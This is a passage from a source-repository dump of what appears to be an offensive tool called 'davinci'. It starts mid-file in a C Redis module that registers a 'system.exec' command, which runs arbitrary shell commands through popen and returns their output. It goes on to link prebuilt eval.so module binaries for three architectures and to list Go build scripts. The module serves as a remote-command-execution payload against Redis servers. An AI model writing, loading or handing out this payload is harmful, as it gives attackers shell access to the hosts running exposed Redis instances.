RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output)); 30 | RedisModule_ReplyWithString(ctx, ret); 31 | pclose(fp); 32 | } else { 33 | return RedisModule_WrongArity(ctx); 34 | } 35 | return REDISMODULE_OK; 36 | } 37 | 38 | 39 | int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { 40 | if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1) 41 | == REDISMODULE_ERR) return REDISMODULE_ERR; 42 | 43 | if (RedisModule_CreateCommand(ctx, "system.exec", 44 | DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) 45 | return REDISMODULE_ERR; 46 | return REDISMODULE_OK; 47 | } -------------------------------------------------------------------------------- /lib/redis/linux/arm64/eval_arm64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/redis/linux/arm64/eval_arm64.so -------------------------------------------------------------------------------- /lib/redis/linux/x64/eval.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/redis/linux/x64/eval.so -------------------------------------------------------------------------------- /lib/redis/linux/x86/eval_x86.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/redis/linux/x86/eval_x86.so -------------------------------------------------------------------------------- /linux_amd64.ps1: -------------------------------------------------------------------------------- 1 | go env -w GOOS=linux 2 | go env -w GOARCH=amd64 3 | go build -ldflags "-w -s" -o bin/davinci davinci.go -------------------------------------------------------------------------------- /win_amd64.ps1: -------------------------------------------------------------------------------- 1 | go env -w GOOS=windows 2 | go env -w GOARCH=amd64 3 | go build -ldflags "-w -s" -o bin/davinci.exe davinci.go --------------------------------------------------------------------------------